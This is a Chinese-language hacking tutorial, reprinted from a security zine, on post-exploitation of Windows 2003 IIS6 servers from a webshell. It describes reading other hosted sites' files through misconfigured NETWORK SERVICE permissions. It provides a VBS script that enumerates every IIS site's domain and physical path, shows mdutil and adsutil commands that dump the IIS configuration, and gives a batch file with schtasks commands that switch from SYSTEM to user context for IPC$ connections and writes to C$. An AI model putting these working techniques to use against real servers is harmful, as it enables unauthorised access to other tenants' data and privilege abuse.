本文已发于《非安全》 作者:NetPatch //转载请保留版权,谢谢!
继《小谈WIN系统Hacking中提权前的小命令》之后,NetPatch斗胆再来谈谈一些在Hacking中被大部分人忽略的小命令以及原理(算是科普文章咯)。 其实这些命令,大部分人都知道,也都使用过。但是,却在某些特殊场合,由于没理解原理,没让它们派上用场。废话短说,我们直接进入主题。
一.CMD命令的特殊使用(别一看到这标题,你就失去了兴趣了哦,人不可貌相,海水不可斗量,请读者朋友耐心继续看下去) 为了不让读者看的蒙蒙的,我们先来介绍下原理。(以下内容,均以WIN2k3系统的IIS6为测试环境) 很多人都知道,我们一般拿到的WEBSHELL基本都是GUEST或USER权限,但其实我们的WEBSHELL在2K3上并不仅仅是GUEST或USER权限。呵呵,看到这是不是有点蒙了呢?别急,让NP慢慢道来。IIS6的运行,有分IUSR(来宾账户【GUESTS组权限】)和IWAM(IIS的启动帐户【IIS_WPG组权限】)以及默认的nt authority\network service (IIS内置账户)来运转的。 也就是说,我们用WEBSHELL直接去看目录的东西时,是以IUSR来宾账户的权限去看的,而当我们执行命令时,却是用默认的nt authority\network service (IIS内置账户)或IWAM账户来运行的(以IWAM权限运行的,一般都是后面自己设置的)由于两个用户的权限不一样,就产生了一些权限管理的疏漏。当管理员权限配置不当时,虽然我们以IUSR用户无法跨目录看到别的站点的信息 如图1所示
但是却可用WSH以执行命令的形式,用IIS内置账户或IWAM的权限去查看目标的信息 如图2所示。
这个时候我们就可用用dir命令查询到对方目录有什么文件,用type看到对方文件的内容。如图3所示
COPY一类的内置命令却不好使。如图4所示
为什么会这样呢?我们用CACLS查询了下WEBSHELL所在目录的权限 如图5所示
我们发现“nt authority\network service”的权限被设置可读.我们再看看别的目录的权限,如图6所示
权限设置跟WEBSHELL目录类似。这种就是典型的权限配置疏漏。但是由于是只读权限,所以我们都没办法COPY东西到我们自身目录,因为nt authority\network service (IIS内置账户)对WEBSHELL所在目录也只是只读权限。若我们COPY到TEMP目录,就会发现,我们COPY成功了,因为TEMP是EVERYONE可写的。管理员的一个权限配置疏漏,给我们留下了一线生机,让我们轻易的获得别的网站的内容和敏感信息。有的时候Dir不了对方的目录,但是却可用Type命令列其文件内容。这又是为什么呢?这个就是枚举权限和读权限的差别了!当我们知道了其中的原理,我们在Hacking中就更能如鱼得水了。当然,攻防双收,管理员看了这个,估计也会注意权限的配置了。尽量避免这种权限配置疏漏的小错误发生了。(建议在能执行命令的WEBSHELL上,习惯性的WHOAMI下,看看当前的权限哦!有的管理员会把应用程序池设置成SYSTEM权限,那就占了很大便宜咯!)
二.IIS虚拟路径的获取 有的时候,目标站点久攻不下。新手朋友只能绕道而行,旁注。比如获得了一个SQL SERVER账号,有权限备份,但是找目标站点,却很费劲,特别是没有什么规律的目录,让新手朋友很难入手(高手可用自己用SQL脚本去列举,那菜菜们呢?呵呵,今天我就教大家如何更简单的获取。)。其实IIS的ADSI接口早给我们留了个方便之门。我们将以下VBS代码保存为vWeb.vbs然后在WEBSHELL里调用cscript c:\xxx\vWeb.vbs 就可用利用ADSI接口获得IIS里所有网站的域名以及真实路径。如图7所示
- On Error Resume Next
- If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
- wscript.echo Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs",4096,"Lilo"
- WScript.Quit
- End If
- Set ObjService=GetObject("IIS://LocalHost/W3SVC")
- For Each obj3w In objservice
- If IsNumeric(obj3w.Name) Then
- Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
- Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
- If Err <> 0 Then WScript.Quit (1)
- WScript.Echo Chr(10) & "[" & OService.ServerComment & "]"
- For Each Binds In OService.ServerBindings
- Web = "{ " & Replace(Binds,":"," } { ") & " }"
- WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
- Next
- WScript.Echo "Path : " & VDirObj.Path
- End If
- Next
复制代码
当然,你也可用自己UP一个adsutil.vbs(微软IIS自带的脚本 c:\Inetpub\AdminScripts\adsutil.vbs 此目录脚本,默认没权限调用)以这样的命令形式调用Cscript.exe c:\xxx\adsutil.vbs ENUM /P W3SVC 执行后效果 如图8所示
不过效率问题,建议大家还是用我提供的脚本来获取。那样简单快捷。只是介绍了下,其实在WEBSHELL下,也有办法调用这些脚本去访问IIS的ADSI接口。虽然只有读的权限,但却给我们提供了不少方便。若是碰到cscript.exe不能使用的,请自行UP吧! 要是你还懒的UP,或者碰到BT管理员,把VBS之类的脚本映射给去掉了。那怎么办呢?嘿嘿,别急,NP再推荐一个强大的命令行小工具 mdutil给你。(mdutil.exe 这是在NT4 Option Pack CD-ROM 中附带的IIS Metabase 处理工具)。我们先来看看mdutil的大体帮助。 Samples: mdutil GET W3SVC/1/ServerBindings mdutil SET JAROSLAD2/W3SVC/1/ServerBindings ":81:" mdutil COPY W3SVC/1/ROOT/iisadmin W3SVC/2/ROOT/adm mdutil ENUM_ALL W3SVC mdutil ENUM W3SVC/1
mdutil ENUM_ALL W3SVC 在WEBSHELL下执行后效果 如图9所示
是不是感觉很奇妙?我们在nt authority\network service内置账户的权限下,居然轻易的枚举出IIS的配置。下面我们还是以科普为主,让大家了解下其中的奥妙。首先,我们来看看IIS6的Metabase.xml文件的默认ACL(默认权限配置)
- ? R 读取
- ? W 写入
- ? S 限制写入
- ? 阅读不安全 U 属性
- ? E 枚举项
- ? D 写入 DACL (权限)
-
- IIS 6.0
- ? 默认 ACL: 以下列表描述默认安装 IIS 6.0 时, 都置于 Metabase.xml 目录 ACL:
-
- LM –
- W3SVC
- NT AUTHORITY\LOCAL SERVICE
- Access: R UE
- NT AUTHORITY\NETWORK SERVICE
- Access: R UE
- {computername}\IIS_WPG
- Access: R UE
- BUILTIN\Administrators
- Access: RWSUED
- {computername}\ASPNET
- Access: R E
- W3SVC/Filters
- NT AUTHORITY\LOCAL SERVICE
- Access: RW UE
- NT AUTHORITY\NETWORK SERVIC
- Access: RW UE
- {computername}\IIS_WPG
- Access: RW UE
- BUILTIN\Administrators
- Access: RWSUED
- W3SVC/1/Filters
- NT AUTHORITY\LOCAL SERVICE
- Access: RW UE
- NT AUTHORITY\NETWORK SERVIC
- Access: RW UE
- {computername}\IIS_WPG
- Access: RW UE
- BUILTIN\Administrators
- Access: RWSUED
- W3SVC/AppPools
- NT AUTHORITY\LOCAL SERVICE
- Access: U
- NT AUTHORITY\NETWORK SERVICE
- Access: U
- {computername}\IIS_WPG
- Access: U
- BUILTIN\Administrators
- Access: RWSUED
- W3SVC/INFO
- BUILTIN\Administrators
- Access: RWSUED
- MSFTPSVC
- BUILTIN\Administrators
- Access: RWSUED
- SMTPSVC
- BUILTIN\Administrators
- Access: RWSUED
- NT AUTHORITY\LOCAL SERVICE
- Access: UE
- NT AUTHORITY\NETWORK SERVICE
- Access: UE
- NNTPSVC
- BUILTIN\Administrators
- Access: RWSUED
- NT AUTHORITY\LOCAL SERVICE
- Access: UE
- NT AUTHORITY\NETWORK SERVICE
- Access: UE
- Logging
- BUILTIN\Administrators
- Access: RWSUED
复制代码
大家认真看属于IIS_WPG组和NT AUTHORITY\NETWORK SERVICE内置账户的权限配置。我们的权限是足够枚举和读取这个文档的。这也是我们为什么在低权限用户下可用枚举IIS配置的原因咯(其他版本的IIS配置文件ACL请到微软官方查阅)
三、巧用命令实现SYSTEM2USER 何谓SYSTEM2USER呢?就是把当前的运行权限从SYSTEM权限转成USER权限。 老鸟们应该都清楚,在SYSTEM权限下是不能进行IPC连接的。而很多时候我们却需要用到IPC。当溢出获得一个SHELL,却不方便传工具什么的,想用IPC那就得靠系统自身的命令去实现咯。或许你会说,用RUNASUSER,但我可用很肯定的告诉你,RUNASUSER在SYSTEM权限下是做不到的。因为它没有登陆会话!(后补:其实SYSTEM下可以用 /:u机器名或IP\用户名 /u:localhost\administrator形式) 那我们要如何才能利用系统自带的命令进行SYSTEM2USER呢?嘿嘿,发展到2K3后,微软为我们提供了一个很好的命令,schtasks!(安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。) 具体参数就请读者自己看相关命令的帮助咯!我这边就大体介绍下如何实现SYSTEM2USER。 1.bat的内容如下 whoami>c:\whoami.txt net use \\127.0.0.1\ipc$ test /u:administrator echo test >\\127.0.0.1\c$\good.txt net use \\127.0.0.1\ipc$ /del 首先我们看下我们的环境,如图10所示
当我们的权限是SYSTEM时,执行1.bat时,就会提示改会话没有登陆。不能进行IPC。 步骤一 schtasks /create /tn "MyApp" /tr c:\1.bat /sc monthly /d 1 /ru username /rp password 我们来解释下参数。 /create 创建计划任务的必要参数 /tn TaskName 指定任务的名称。 /tr TaskRun 指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。 /sc schedule 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。 值 说明 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 指定计划的时间单位。 ONCE 任务在指定的日期和时间运行一次。 ONSTART 任务在每次系统启动的时候运行。可以指定启动的日期,或下一次系统启动的时候运行任务。 ONLOGON 每当用户(任意用户)登录的时候,任务就运行。可以指定日期,或在下次用户登录的时候运行任务。 ONIDLE 只要系统空闲了指定的时间,任务就运行。可以指定日期,或在下次系统空闲的时候运行任务。
步骤二 schtasks /run /tn "myapp" /run 立即运行指定的计划任务
运行效果如图11所示。
步骤三 schtasks /delete /f /tn "myapp" /delete 删除指定的计划任务 /f 阻止确认消息。不警告就删除任务。
为什么不指定时间运行呢,呵呵,为了方便执行命令,我们可用随时更改计划任务要运行的程序的内容。我们可用随时用指定用户去执行。 以上说的均在2K3下测试通过。有什么不明白的或觉得我什么地方有错的,请到www.nspcn.org与我联系。
|